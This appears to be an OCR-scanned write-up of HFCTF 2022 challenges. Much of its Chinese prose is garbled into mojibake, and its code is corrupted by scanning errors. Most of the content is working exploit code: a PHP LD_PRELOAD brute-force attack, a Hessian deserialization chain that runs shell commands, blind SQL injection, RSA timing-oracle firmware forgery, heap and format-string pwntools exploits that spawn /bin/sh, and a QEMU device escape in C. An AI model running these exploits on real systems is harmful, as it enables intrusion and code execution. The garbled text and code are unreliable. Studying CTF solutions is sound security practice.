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ezphp
IMETE 1d_preload = /proc/$nginx_work_pid/fd/$fd

https://tttang.com/archive/1384/ gen_tmp.py

from threading import Thread
import requests

import socket

import time

port = 8020
host "ip"

def do_so():
data = open("evil.so", "rb").read()

packet = f"""POST /index.php HTTP/1.1\r\nHOST: {host}: {port}\r\nContent-Length:
{len(data)+11}\r\n\r\n"""
packet = packet.encode()

packet += data

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(Chost, port))

s.sendall(packet)

time.sTeep(10)

s.close()
if _name__ == "_main__":
do_so()
brute.py

import requests
from threading import Thread

8020
ll_i pll

port
host

def 1dload(pid, fd):

sopath = f"/proc/{pid}/fd/{fd}"

# print(sopath)

r = requests.get(f"http://{host}:{port}/index.php", params={"env":f"LD_PRELOAD=
{sopath}"})

return r

if _name__ == "_main__":


https://tttang.com/archive/1384/

# 1dload (20, 20)
for pid in range(12, 40):
for fd in range(l, 40):
t = Thread(target=1ldload, args=(pid, fd))
t.startQ

RIE1T python3 gen_tmp.py & python3 brute.py

ezchain

public class Main {
public static void main(String[] args) throws Exception{
System.out.printIn("HFCTF2022" .hashCode());
s = ":YI\"nOJF-6A">|r-";
System.out.printin(s.hashCode());

String cmd = args[0];
String path = args[1];

FileOutputStream outputStream = new FileOutputStream(path);
Hessian20utput out = new Hessian20utput(outputStream) ;
SerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAlTowNonSerializable(true);
out.setSerializerFactory(sf);

Field theunsafe = Unsafe.class.getDeclaredField("theunsafe");

theuUnsafe.setAccessible(true);

Unsafe unsafe = (Unsafe) theunsafe.get(null);

Object unix = unsafe.allocateInstance(UnixPrintService.class);

setFieldvalue(unix, "printer", string.format(";bash -c '"%s';", cmd));

setFieldvalue(unix, "lpcStatusCom", new String[]{"1s", "1s", "1s"});

ToStringBean toStringBean = new
ToStringBean(Class.forName("sun.print.UnixPrintService"), unix);

EqualsBean hashCodeTrigger = new EqualsBean(ToStringBean.class, toStringBean);

out.writeMapBegin("java.util.Hashmap™);
out.writeObject(hashCodeTrigger);
out.writeobject("value");
out.writeMapend();

out.close();

pubTlic static void setFieldvalue(Object obj, String field, Object value){
try{
Class clazz = obj.getClass();
Field fld = clazz.getDeclaredField(field);
f1d.setAccessible(true);
fld.set(obj, value);
}catch (Exception e){



e.printStackTrace();

public static class NowriteReplaceSerializerFactory extends SerializerFactory {

/ ek

* {@inheritbDoc}

* (@see
com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class)
*/
@override
public Serializer getObjectSerializer (Class<?> cl ) throws
HessianProtocolException {
return super.getObjectSerializer(cl);

/ e

* {@inheritbDoc}

* @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class)
*/
@override
public Serializer getSerializer ( Class cl ) throws HessianProtocolException {
Serializer serializer = super.getSerializer(cl);

if ( serializer instanceof writeReplaceSerializer) {
return UnsafeSerializer.create(cl);

}

return serializer;

REBIHLETNH NS5 flag
Baby Router Updater

AR T EIH 10T £, RIELLRER. BRhtmBERFRT — I T MK E45EE, eI TEE
cgitiTi¥m, FEMZBIETE upgrade_fw.cgi, FFSHIF, cgictopenssl+zlib+musl, KEKEFEBAK, tha]
AR

SRR E(RFEAE sub_402840, BSTIZENT EHAIL152F T, HIUFETZ magic BRFW, AFAFETIANK

FE., BEEIEEL T RANAY RSA A%F /etc/firmware.pub, 3358 8 FHAIAM 128 FHHITT AHRZ
(RSA_public_decrypt) , EERBIFN RC4 NWEH, BAKE 16 FTBAX MD5, test_patch.fw 7E0x98FF

18A zlib 3k, EEMIZEMNEME+rcAfEZR+MDS KRG, BERIKE ZERGAREE] /usr/sbin/do-upgrade E4b



IETO

BH5KIMIE RC4 B9 key 1B 0 3% 1 AJAZT RSA A58, BHEGFHEHMEWE, vJAEZR] do-upgrade BIfIE, It
REBRETE—RIER: M test_patch.fw XPHER, BIrgREMIGEE,

AT HENZEAE, SEANHEMHRANRE 183 F1, ZMSH T — T EFHIEKAS, R mds5
CtES, #AN do-upgrade AHi&Zi 3 BW., BRNIZLET M EANEMHR (Fhfk)

H—TAREFCRIESE 10T BYI5R, SNH(MNEEM TR SRS, MBNEGRIER, EXLENETFRT,
BEF—BIRE getshell ZRINANBEZER, KMBBTZER— tar 8. BEZI-TERSHAHER
B, TEEE, BINLERE 0 A5 EMIET —1 getshell B9 tar B L&, BRI EZIFHEMEE tar WABMNF
A—tE, SRERTHA hash 1, BRANTHANIBELAETEE, RERBHEODTHELHA,

AHBERMUERIEES 0 IR, 2EESB32189%5%, HEM 1 8% n+1, & python FJLAREF
pow(n+l,e,n) == 1, openssl B RSA_public_decrypt EZEX>=n PWIMRSEMN, 1ETRABEREZRIIEM
AodsE, EBIAKERIRI LR, RSA BEMRINKKMAMESE 1 WHINEE, X7 EBBEEBRRINEEMRTE.

0T [RIRRVERETZF HHSLHIRA zlib, SNBAIZETRNBENA, MWiEERT & LERK, 2NEETEE
RXALE, FRARMT zlib, LhrL, BEXFIRREN, LFRKBEERNEX, EREMEERN zlib BZFER
A—EERE, HXthE—MER, SAAR/LFHIRE get 3, RXR,

BTERME—ZoEMWHR n iIiE, BZEMN (e=65537) ZEHBE—"tar €, EEAEITHTHN
upgrade.sh, RBXMEXEITE LEMAIMNT,

BREMERMPREE T web+reverse?+crypto?+misc? BIRE, HEARERT, B—MUEERRSH exp, H
i BB 3 LI AN K -

import requests
import time
import zlib

def upload(fw):
url = 'http://localhost/cgi-bin/upgrade_fw.cgi'

t = time.time()
r = requests.post(url, files={'firmware': ('a.fw', fw)})
t = time.time() - t

print('%.2f" % t, r.text)
return t

maxlen = 100 * 1024 * 1024

junk = zlib.compress(b'a' * maxlen)

dat0 = b'BRFW' + maxlen.to_bytes(4, 'little') + b'\0" * 128 + b'\0' * 16 + junk
datl = b'BRFW' + maxlen.to_bytes(4, 'Tittle') + b'\xff' * 128 + b'\0"' * 16 + junk
upload(dat0)

upload(datl)

n_bin = '1'
while len(n_bin) < 1024:
n0 = int((n_bin + '0"').1just(1024, '0'), 2).to_bytes(128, 'big")



nl = int((n_bin + "1").1just(1024, '0'), 2).to_bytes(128, 'big")
datl = b'BRFW' + maxlen.to_bytes(4, 'little') + n1 + b'\0' * 16 + junk

if upload(datl) < 0.5:
n_bin += '0'
else:
n_bin += "1'
print(Ten(n_bin), n_bin)

n = int(n_bin, 2) + 1
print(n)

babysql
BRMAS, TKSBBHEIZR403, sqiEaHEIRES00, FFRMMASHITEE,

BT ARNwp, MIERE EREFHMH, —FEregexpl EAEENENREAXMAEIR, REBLOHM
E regexp'', XUEHNBE. Z—MEEH LR IEIR, LI ~0+1.

Rtz or, BNEERANNFEEANE, {F COLLATE utf8mb4_bin' B COLLATE'utf8mb4_0900_as_cs' £B
AN, HRUENINVMRLEEERBRANES,

FERITRIBEZRE, HTHMIME—TREBENSQEET ., SRR, AKNMERE/N], B—TERECS
AORIZ -

import requests
from urllib.parse import urljoin

uf = Tambda x: urljoin('http://localhost/', x)

def bTind(cond) -> bool:
u=f""||{cond}|| id regexp'"
r = requests.post(uf('/login'), json={'username': u, 'password': '_'})
return r.status_code != 500

def i2b(i: int) -> bytes:
b = i.to_bytes((max(i.bit_length(), 1) + 7) // 8, 'big")
return bytes(filter(lambda x: Ox7f if x > Ox7f else x, b))

def dump(c) -> str:

r = bytes()
while True:
v = -1

for i in range(127, -1, -1):
t =r + bytes([i])
if not blind(f" {c} COLLATE'utf8mb4_0900_bin'<0Ox{t.hex()}"):



v =i
break
if v == -1:
break
r += bytes([v])
print(r)
return r.decode()

# QaY8TeFYzC67aeo00

# m52FP1DxYyLBAeIzAr!8gxh$

if _name__ == '__main__":
print(dump('username'))
print(dump('password"'))

CRYPTO
HCDSA

B IR B Cyber Apocalypse CTF 2021 - Hyper Metroid 1 TS| CTF 2022 - Signature, XZE525 2=
EdDSASEINHY— B R Hh 2 AR s o

g%, STFRNC(F)y) : y* + y = o "WBMHEL, TABIITNSESRITELR,

BT, ZRANTHHET =Y 2'd;, RESEEFALERANERCOb=a+b—2(a Ab)TTUE
FETFES, BERNTENIENG AR, H(R || pk || m), BEEMR N ROTEERERER TR miEs
RIS LLLRAR LT, ENE] . JL N ETRET R E IR R, BB RIFR,

tbTJE SRR, REERAFENNARG T HE, HURIIERE—D . HEAANREREXBNRSES INEZE
XA, RTHBoMBDMET . ALEIEAhintEEEEFEERIXNRAN, TR ENRERE

Z ecdsa xor nonce E eth ecdsa xor ZEJLIERIUKIAGN—TREESMBRIIERNENZRNbUg, £
MIREFMBERKIZXZERN . MARA fault EBREEXIEX, RERBEIERER, ERNIIHIHEFAEE
ARERRIYE. BFTHELEFT, ROSKBIATPNEFHHETANBEIZEMEE, X MRIZTERZI
IEN, BT REHIMERZARHARF, BEIIER, MOAARNEFHER TIESIERAAINE, HWEREER
AT LGH AR, H(R || pk || m), Bflagil—%$ 258, IEHIRRE,

[1] Buhler, Joe, and Neal Koblitz. "Lattice basis reduction, Jacobi sums and hyperelliptic cryptosystems."
Bulletin of the Australian Mathematical Society 58.1 (1998): 147-154.

HCDH

EITHENLEFREERE T ANBEXER, MBLAAKECEIZERRIE,



Corrupted

AR ER—MEX[1], EEXBBEATHER, RIBCANNLEHES, MEUFIRZEAEE(,dp,dg,p,q)BlF,
JEEHETASNRBRFYE, MEREF TUNMRAT128MESEREIMIE—D \X00 FT7, X2EH
(d,dp,dq,p, ) EXHFRNRISUENRZE, FILFEERM32MPIEE,

[1] Heninger, Nadia, and Hovav Shacham. Improved RSA private key reconstruction for cold boot attacks.
Cryptology ePrint Archive, Report 2008/510, 2008.

RRSSAA

Challenge & PoC: https://github.com/Tumi3re/my_ctf challenge

HS=E81/LA Codegate CTF 2022 Preliminary £#J prime_generator, FE4 7H T MSB tHEIEREL, HEHE
B#%ET UPPER x2* + LOWER # 0 (mod p) B—#&EE8E T8, REHERHE. FEMXMHRE
BT LS MSB HRMNZBBRASNK T, REAE TETLUCFIINRSATMERB RS, EARATRINIEX
1], FEBREXNFSE (N,p, g, e,d) FEEkFES ed — k(p? —1)(¢®2 — 1) =1, XFTULFH

k(p+q)? —k(N+1)2—1=0 (mod €) . ZE p,q BB MSB1HE, THH

k(p—q)? — k(N —-1)2—-1=0 (mod e) 2EF/IWLR,

ETRMBANARERE. BESTN f(z,y) =z(y+ A) — 1 (mod e) FHEZEA boneh-dufree BIIRF ., —
AR AW XX Z IR BiEAsmall_roothlI /AR A LR, FIUSZE—TIEX[2]FPNE AR, ENEn—
TMEuHLu=2y— 1, MERLLLZEE z,yKBE, XTAFELEEBESEZENEXBIERNGE. IRE
BUESTR f(z,y) — o + A) — 1 (mod ¢), HRMAIMRASHALE (SH—(IHBANBE) |
FESZIEN[AIRWES—MIE, LRAEERENSHZAMEEFLR, ATNERE L - oSN REHET
SKIRRER D AR5 5 S L Groebner basis B9/ AR IF—LE,

DEREE p,  ZEIIM—TRBENEEMRAINT .. XBENEEIER (e, d) tERKA, BEBSLRHKRFIININRR
g, FEBCHNEMsagetliE n FBENRER, FEET Twp LtbBReFAIMEERA, MNEEARK. §
LAMRBERZIRBIEX[11EXN, TEBHSRE—L, BAAREET,

RIGHIEIEEETHER, XERN— M ETREEP hint, ITERERARABIM—MLHBALIN, BSEHE
1FSEBEE RIS BIPED BN SIESE k/d, SEMEHAMIER Coppersmith 2R, S—MEMBRES
TR, BEG p,q NERBRE, ERBEMED R, XTANKREFAECEE MR (SRHSEEL3/)
RE—I0, FfEEEERN, ERE-RFRRIAMMLETTNST) , WBERAMBA—T, K Trevengeld
By, RARGFER G

[1] Castagnos, Guilhem. "An efficient probabilistic public-key cryptosystem over quadratic fields quotients."
Finite Fields and Their Applications 13.3 (2007): 563-576.

[2]Herrmann, Mathias, and Alexander May. "Maximizing small root bounds by linearization and applications
to small secret exponent RSA." International Workshop on Public Key Cryptography. Springer, Berlin,
Heidelberg, 2010.

[3]1Cherkaoui-Semmouni, Meryem, et al. "Cryptanalysis of RSA Variants with Primes Sharing Most Significant
Bits." International Conference on Information Security. Springer, Cham, 2021.

[4]Nitaj, Abderrahmane, Yanbin Pan, and Joseph Tonien. "A generalized attack on some variants of the RSA
cryptosystem." International Conference on Selected Areas in Cryptography. Springer, Cham, 2018.


https://github.com/1umi3re/my_ctf_challenge

ERRORS

H=E DiceCTF 2022 9 psych, HBABE—REUEREET LWE 89 KEM NEREE T —EBXHET SIKE /Y
KEM, I0LZaItBERIRIEEZTR T NTRU B Chosen ciphertext attack, FBE AR —ERUNEREET NTRU
9 KEM, FIgEREC KEM XD EEXKEULARA B HMSEHFNAE,

ERSRIEAE NTRU MR TRRFE a = f-c=pg-r+ f-m (mod q), MBRXHLPSARRKRLDBLLR
N, BABIEESOBRTMIANEERENS RN AR EEE ¢ EERN, MIENZIRE TN, A
HETEHRIBEm = 0, NEHVEE—NZRFSENSTR r, FESTR a 78 ¢ EEZ, WLSHK
BRI, XK1 NTRU BOFASE g R
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=0
BATRIMEE rg =71 = --- = Tji-1= [%j} »y Tj=Tjy1 =+ =TN-1= 0, 5%
[ pgo P91 -+ PYN-1]
. . PIN-1 Pgo -+ DIN-2
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Bl ar = p[ 55 1(91 mod N+ + gajt1) mod n). FURRBI g LI 13 -1 WHRSREN K,
Mg M =maz(|la|,0 <T< N —1), W j< kB, M=[55]pj, BETE qiEE

[—a/2,0/2 — 1], BHAWBER: ) >k, M =[5 pk, € OEEZA, TRENREEE,
WHAVNET B g MEHER, BEEEMIRAMEHSHR g WEMAK. BERIWSH—DENTLH
gzmmﬁﬁgzwﬂﬁg,um%ﬁ%,%ﬁhzan-g:fﬂﬁg,Mﬂuﬁszxmh,%—?%m%ﬁ

=1, , MmELENIERTFREE g,

PWN

F

mva
EEVM Pwn, REMA:

o MuliELIRBXE _ MEIFEAITIRILFE00b read
o MVIELIRE X E Z MRIEEHITIELFE00b write

— A A B

e oob readi# i IElibcFH% AL
e oob writeEspit#izs
® /5 pushig<exit_hookFlone_gadget

% F R EIRTHWPEEIRZIAS I FH BIREPLE L iAELF, XEBRIEHI S HIFAMexp
HFASLRTZEE, VMX E16bitFKH, TEIRK.,

sample exp

#!/usr/bin/python3



from pwn import *
context.arch="amd64'

def pack(op:int, pl:int = 0, p2:int = 0, p3:int

return (op&0xff).to_bytes(l,'Tittle') + \
(p1l&0xff).to_bytes(l,'Tittle"') + \
(p2&0xff).to_bytes(l, 'Tittle') + \
(p3&0xff).to_bytes(l,'little")

def 1dr(val):
return pack(0x01, 0, val >> 8, val)

def add(pl, p2, p3):
return pack(0x02, pl, p2, p3)

def sub(pl, p2, p3):
return pack(0x03, pl, p2, p3)

def shr(pl, p2):
return pack(0x06, pl, p2)

def xor(pl, p2, p3):
return pack(0x07, pl, p2, p3)

def push():
return pack(0x09)

def pop(pl):
return pack(0x0a, pl)

def mul(pl, p2, p3):
return pack(0Ox0D, pl, p2, p3)

def mv(pl, p2):
return pack(Ox0E, pl, p2)

def sh(Q):
return pack(0x0F)

puts_offset = 0x845ca

puts_leak = (0x38 + 0x268 - 0x224) >> 1
onegadgetlst = [Oxe3b2e, Oxe3b31l, Oxe3b34]
onegadget = onegadgetlst[0]

toadd = onegadget - puts_offset
stack_Teak = (0x268 - 0x224) >> 1
stack_pointer_leak = (0x238 - 0x224) >> 1

tosub = 0x1a799e + 0x308

0) -> bytes:



# tosub = 0x1la399e + 0x308 # debug aslr
tosub

tosub - 0x3000 # no aslr : player environment

tosub = tosub - 0x4000 # aslr : player environment

# - 0x308 + stack_leak - puts + 0x1a799e
pay = Tdr(0x1)

pay += mv(0,1)

pay += Tdr(tosub&0Oxffff)
pay += mv(0,3)

pay += mul(4,-puts_leak,1)
pay += mul(5,-stack_leak,1)
pay += sub(0,5,4)

pay += sub(0,0,3)

pay += shr(0,1)

pay += push()

pay += ldr((tosub>>16)&0xffff)
pay += mv(0,3)

pay += mul(4,-puts_leak+1,1)
pay += mul(5,-stack_leak+1,1)
pay += sub(0,5,4)

pay += sub(0,0,3)

pay += shr(0,1)

pay += push(Q)

# onegadget

pay += mul(3,-puts_Tleak,1)
pay += mul(4,-puts_leak+1,1)
pay += ldr(toadd&0Oxffff)

pay += add(0,3,0)

pay += push(Q

pay += Tdr(((toadd>>16)&0xffff)+1)
pay += add(0,4,0)

pay += pushQ

pay += mul(0,-puts_leak+2,1)
pay += pushQ

pay += pop(3)

pay += pop(4)

pay += pop(5)

pay += pop(1l)

pay += pop(2)

pay += 1dr(Oxffff)

pay += xor(2,0,2)

pay += 1dr(1)

pay += add(2,0,2)

pay += mv(2,-stack_pointer_leak)
pay += 1dr(Oxffff)

pay += xor(1,0,1)



pay += mv(l,-stack_pointer_leak+1)
pay += mv(0,-stack_pointer_leak+2)
pay += mv(0,-stack_pointer_leak+3)
pay += mv(5,0)

pay += push(Q)

pay += mv(4,0)

pay += push(Q)

pay += mv(3,0)

pay += push(Q)

pay += 1dr(0)

pay += push(Q)

pay += sh(Q)
printChex(len(pay)))

assert len(pay) <= 0x100
pay = pay.1ljust(0x100,b'\0")

# chance of this exp : about 1230 - 10125 times with 1 flag
# I admit this is an awful exp
while True:
p=remote('127.0.0.1',9999)
p.sendafter('\n',pay)
try:
.recvuntil('starting ...\n")
.recvline()
.recvuntil('down ...\n")
.sendline('cat flag')
res = p.recvline()
print('[+] flag:', res)
p.interactive()
break

T T T T

except:
p.close()
pass

more

08080

XEFRZMREREgoIESHIEE, goFNIAMER FpanicdfE %, AESMA, TEATERunsafeBMEH LR
ASFAANREL: B, golBERMIARIFLREZHE Fpieflcanaryiy, gofjunsafe pointerFlARYE Edemo
AJAE: https://github.com/jlauinger/go-unsafepointer-poc



https://github.com/Ainevsia/HF2022-vdq-mva-fpbe-static/tree/main/mva
https://github.com/jlauinger/go-unsafepointer-poc

S5, IDAN7.6FFIaXIgorIruntimei# T35, IDAFIRRIERA, RAT Mot —LE R E il r] AF KT 2 1R 4E
gopcintabEg IREBHIREF S, FRAINERHSEBN—F, EmainRiiEiLsk, MRS EEE Mstartdes o
o

R REERENmMath.initi#N (BeRIAImain.maing ) &
[rsp+ +var_460]
mov r qword ptr cs:unk_5514E@
mov

.text:0000000000494B0A call buflo__ptr Reader_Relad

BMAFA T, RRBOFME—TROP, (EFLEREANAMBECROPHEEEZRT)
vdq

CVE-2020-36318: Rust 1.48.0 VecDeque::make_contiguous() F#£double freelid, &=/[\demo

ESE AR

struct Note {
idx: oOption<usize>, // + 0x00 Ooption/None, real usize
msg: Vec<u8>, // + 0x10 ptr cap len

3 // + 0x28

FRAEE: double free[GFFAVecE M ARMIptrigtid __free_hook %l system

#!/usr/bin/python3

from pwn import *
context.arch="amd64'

p=remote('127.0.0.1',9999)

pay = "''[
"Add", "Add", "Add", "Remove", "Remove", "Remove",
"Add", "Add", "Remove", "Remove",
"Add", "Add", "Remove", "Remove",
"add", "Add", "add", "Add", "Remove", "Remove", "Remove'", "Remove",

"Add", "Add", "Add", "Add", "Add", "Add", "Add",
"Remove", "Vview", "Remove", "Remove", "Remove", "Remove'",
"Archive", "Remove",

"View",

"Append",

"Archive",

"Append",

"Add"

$|||


https://www.cvedetails.com/cve/CVE-2020-36318/
https://github.com/rust-lang/rust/issues/79808

p.sendlineafter('!\n',pay)

for i in range(16-1):
p.sendlineafter(': \n',"'")

p.sendlineafter(': \n', '1"'*0x410)
p.sendlineafter(': \n','")
p.sendlineafter(': \n','")

[p.recvuntil('cCached notes:\n') for i 1in range(2)]

[p.recvuntil(' -> ') for i 1in range(6)]

Teak=0
for i in range(8):
Teak_byte=int(p.recvn(2),0x10)
Teak+=Teak_byte<<(i*8)
base=Teak-(0x7f57fd2b3ca0-0x7f57fcec8000)
p.success('base: '+hex(base))
p.success('__free_hook: '+hex(__free_hook))
system=base+0x7ffff7617420-0x7ffff75c8000
p.success('system: '+hex(system))

p
p.sendlineafter(': \n',p64(system))
p.sendlineafter(': \n',"'/bin/sh\0"')
p.interactive()

more

babygame

K EABAE, EBESIFNEERNBEIMNF, ERGEE DM, AE%H

EROIREBENEE), BREREEREMMBRERmM,

o
%

from pwn import

ot
*

from ctypes import

context.os = 'Tlinux'
context.arch = 'amd64'
context.log_level = 'debug'

context.terminal = ['/usr/bin/tmux', 'splitw',

context.binary = 'babygame'

# io = process('babygame')

# io = remote('127.0.0.1", 9999)
io = remote('120.77.93.98"', 47791)

# Tibc = ELF('/1ib/x86_64-11inux-gnu/Tlibc.so0.6"')

Tibc = ELF('./Tibc-2.31.s0")
elf = ELF('babygame")

free_hook=base+0x7ff2888ch8e8-0x7ff2884de000

l_hl]

=
x

.sendlineafter(': \n',flat([0,0,__free_hook-0xa,0x3030303030303030]))

IEITIRERE, MEEIbcENFH T


https://github.com/Ainevsia/HF2022-vdq-mva-fpbe-static/tree/main/vdq

def game():
Tibrary = cdll.LoadLibrary('/1ib/x86_64-Tinux-gnu/libc.so0.6")
Tibrary.srand(0x61616161)
for i in range(100):
random_num = Tibrary.rand() % 3
if random_num == 0:
target_num = 1
elif random_num == 1:
target_num = 2
elif random_num == 2:
target_num = 0
io.sendlineafter(f'round {i + 1}: \n', str(target_num))

def pwn(Q):
io.sendafter('Please input your name:\n', 'a' * 0x109)
io.recvuntil('a' * 0x109)
io.recv(7)
stack = u64(io.recvline()[:-1].1just(8, b'\x00"))
Tog.success('stack: ' + hex(stack))
game ()

# gdb.attach(io)

# backdoor = 0x153E

payload = b'%62c'

payload += b'%8%hhn'

payload += b'a' + b'%79%p"'

payload += p64(stack - 0x218)

io.sendlineafter('Good Tuck to you.\n', payload)

io.recvuntil(b'a")

Tibc_base = int(io.recv(14), 16) - Tibc.sym['__Tlibc_start_main'] - 243

Tog.success('libc_base: ' + hex(libc_base))
one_gadget = libc_base + Oxe3b31l
payload = b''

cur_size = 0
for i in range(6):
target_size = (one_gadget >> (i * 8)) & Oxff
if target_size > cur_size:
payload += b'%' + str(target_size - cur_size).encode() + b'c'
else:
payload += b'%' + str(0x100 + target_size - cur_size).encode() + b'c'
payload += b'%' + str(16 + i).encode() + b'S$hhn'
cur_size = target_size
payload = payload.1just(0x50, b'a')
for i in range(6):
payload += p64(stack - 0x218 + i)
io.sendlineafter('Good Tuck to you.\n', payload)
# pause()



io.interactive()

if _name__ == '_main__":
pwn ()

hfdev

2022Ip8EGBoff-by-one A AZ XIHAER 28, LHimti. (ERHEEleak, BbhaiEtimerEMiRits.

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdint.h>
#include <stdbool.h>

#define PAGE_SHIFT 12

#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (lull << 63)
#define PFN_PFN ((Qull << 55) - 1

uintlée_t port_base = 0xc040;
void die(const char* msg)
{

perror(msg) ;
exit(-1);

uint64_t virt_to_phys(void* p)



uint64_t virt = (Uint64_t)p;

int fd = open("/proc/self/pagemap”, O_RDONLY);

if (fd == -1) die("open™);

uint64_t offset = (virt / 0x1000) * 8;

Tseek(fd, offset, SEEK_SET);

uint64_t phys;

if (read(fd, &phys, 8 ) != 8) die("read");

phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
return phys;

void pmio_write(uintl6_t addr, uintl6_t value)

{

outw(value,port_base+addr);

uint32_t pmio_read(uintl6_t addr)
{

return (uint32_t)inw(port_base+addr);

uint8_t *dmabuf;
uint32_t phyaddr;
void init(){

/*memory for data*/

dmabuf = mmap(0,0x1000,PROT_READ | PROT_WRITE ,MAP_SHARED |MAP_LOCKED |
MAP_ANONYMOUS, -1,0) ;

if (dmabuf == MAP_FAILED)

die("mmap");
phyaddr = virt_to_phys(dmabuf);
printf("dmabuf addr: 0x%Ix\n", phyaddr);

}

void set_base()

{
pmio_write(0x2, phyaddr&0xffff);
pmio_write(0x4,phyaddr>>16) ;

}

void set_length(uintl6_t length)

{
pmio_write(0x6,length);

void reset()

{

pmio_write(0xa,0);



void send_pkg(Q)

{
pmio_write(0xc,0);
}
void set_time(uintl6e_t t)
{
pmio_write(0Oxa,t);
}

void dma_init()

{

set_base();
set_length(0x400);

void send_data_out(uintl6_t size)

{
*dmabuf = 0x10;
*(uintl6e_t*) (dmabuf+3) = 0x2022;
*(uintl6e_t*) (dmabuf+5) = size;
send_pkgQ;
sleep(l);

}

void call_timer(uintl6_t len,uintl6_t offset,uintl6_t t)
{
set_time(t);
*dmabuf = 0x30;
*(uintl6e_t*) (dmabuf+1)
*(uintl6e_t*) (dmabuf+3)
send_pkgQ;
sleep(1);

len; //desc_Tlen
offset; //data in offset

void send_data_in(uintl6_t Ten)

{
*dmabuf = 0x10;
*(uintl6e_t*) (dmabuf+3) = 0x2202;
*(uintl6e_t*) (dmabuf+5) = Ten;
send_pkgQ;
sleep(l);

}

void read_data(uintl6_t Ten)



int

*dmabuf = 0x20;

*(uint64_t*) (dmabuf+1) = phyaddr;
*(uintl6e_t*) (dmabuf+9) = Ten;
send_pkgQ;

sleep(1);

main(int argc, char *argv[])

initQ;
iop1(3);
sleep(1);

uint8_t *dataout = dmabuf+7;

dma_init(Q);
//out_size -> 0x200
send_data_in(0x200);

//out_size -> 0x300
call_timer(0x100,0,5);

//if_call_timer -> Oxff
dataout[0x300] = Oxff;
send_data_out(0x300);

//set->outsize -> 0x310
*(uint64_t*) (dmabuf+0x20)
*(uint64_t*) (dmabuf+0x28)
call_timer(0x10,0x20,5);

0x0;
0x0;

//set desc -> data_in
call_timer(0x0,0x0,5);

//Teak addr

read_data(0x310);

uint64_t heap_addr = *(uint64_t*) (dmabuf+0x308);
printf("datain_addr:%1x\n",heap_addr);

// by arb_read for offset

uint64_t timer_addr = heap_addr-0x5604c9b6aa88+0x5604c9b6bd40;
uint64_t bh_addr = heap_addr-0x56260b2bba88+0x56260b2bcd80;
uint64_t ctx_addr = heap_addr-0x563ad6dd9a88+0x563ad5cch690;
printf("timer_addr:%1x\n",timer_addr);
printf("bh_addr:%1x\n",bh_addr);



//if_call_timer -> Oxff
dataout[0x300] = Oxff;
send_data_out(0x300);

//wait for arb_read
call_timer(0x8,0x0,50);

// set desc -> &bh_cb

*(uint64_t *)(dataout+0x308) = (bh_addr+0x10)Aheap_addr;
send_data_out(0x310);

sleep(5);

// leak cb

read_data(0x318);

uint64_t cb_addr = *(uint64_t*) (dmabuf+0x310);
printf("cb:%1x\n",cb_addr);

uint64_t system_addr = cb_addr- 0x5555558d4fd0 + 0x55555582a610;
printf("system:%1x\n",system_addr) ;

//fake_bh
*(uint64_t*) (dmabuf+0x100) = ctx_addr;
*(uint64_t*) (dmabuf+0x108) = 0;

*(uint64_t*) (dmabuf+0x110) system_addr;
*(uint64_t*) (dmabuf+0x118) = heap_addr+0x130;
const char *cmd = "cat ./flag";

for(int i = 0;i<strlen(emd) ;i++)
{
*(dmabuf+0x130+i) = cmd[i];

}
//if_call_timer -> Oxff

dataout[0x300] = Oxff;

*(uintb4_t *)(dataout+0x310) = (timer_addr)Acb_addr;
*(uint64_t*) (dmabuf+0x20) = heap_addr+0x100;
send_data_out(0x318);

call_timer(0x8,0x20,5);

send_pkgQ);

return O;

REVERSE



Contra 2048

o Tiapp, KRIA—"Hello worldRE, FEERE 7S HFNIFRE,
o EWMAEMainActivity IR MRHH XA BERNE A
o StiMainActivity B, MERHNMNE, SREATH

<ImageButton android:background="#ffffff" android:id="@id/imageButton"
android: Tayout_height="47.0dp" android:layout_width="52.0dp"

app:Tlayout_constraintBottom_toBottomOof="0" app:layout_constraintEnd_toEndof="0"
app:Tlayout_constraintHorizontal_bias="1.0" app:Tlayout_constraintStart_toStartof="0"
app:Tlayout_constraintTop_toTopof="0" app:Tlayout_constraintvertical_bias="1.0"
app:srcCompat="@android:color/background_Tight" />

</androidx.constraintlayout.widget.ConstraintLayout>

o HAEEBFERFERINE 12048/
o SifiTestActivityfljavaRiZ4E, RIMX T HEWebViewstsk, EAIRIFEAYSHID

o RIBEARAIA, HNHEFEMFEEE. MIFsiEEE, KMEHIFNIEER game_manager. js XHHIES,

H X R BREE, BEIER,

o RINsXHEM T basebdXIFiFes, MHMBHEIT TR, HEMTRARES. FHHHFD. EHEABEES

A jsXHHITIR®, FIRELjsHEEZE T RNFERbase6dFFH, DITEHFPZBE,
o RIESRFIEBHNERNICR T EEIAME, HAER T Restart IS FI#THINT,

o WENFIENZLE, KIFIEI 00T =EN, BEWFIIHTHRE, REEFEERascilTEA., MfE

ZREEEBELEILOG, AREMXTEARERHITIEA BT B E Xbase64RiB 5% @ anative LS.

GameManager .prototype.checkseq = function (O {
if (seq.length < 100) {
seq = new Array()
return false
}
var _0x2603b4 = "'
for (i = 0; i < Math.floor(seq.length / 4); i++) {
var _0x561a98 =
seq[4 * 1] +
seq[4 * i + 1] * 4 +
seq[4 * i + 2] * 4 * 4 +
seq[4 * i + 3] * 4 * 4 % 4
if (L0x561a98 > 128) {
console.log('Can you speak English??')
seq = new Array()
return false
3
_0x2603b4 += String.fromCharcode(_0x561a98)
}
console.log('Cheat code: ' + _0x2603b4)
var _0x382931 = kzlso(_0x2603b4, kkk)
window.gameManager.pre(nnn)
bbb = fromByteArray(string2Bin(_0x382931))
res = window.gameManager.docheck(bbb)



console.log(res)

seq = new Array()

if (string(res) == 'Bingo!') {
return true

}

return false

o ifiTestActivityfljavaZiZ48, Hi§cheat codeff AnativeFfichecki®i%l, &I IEIXERER

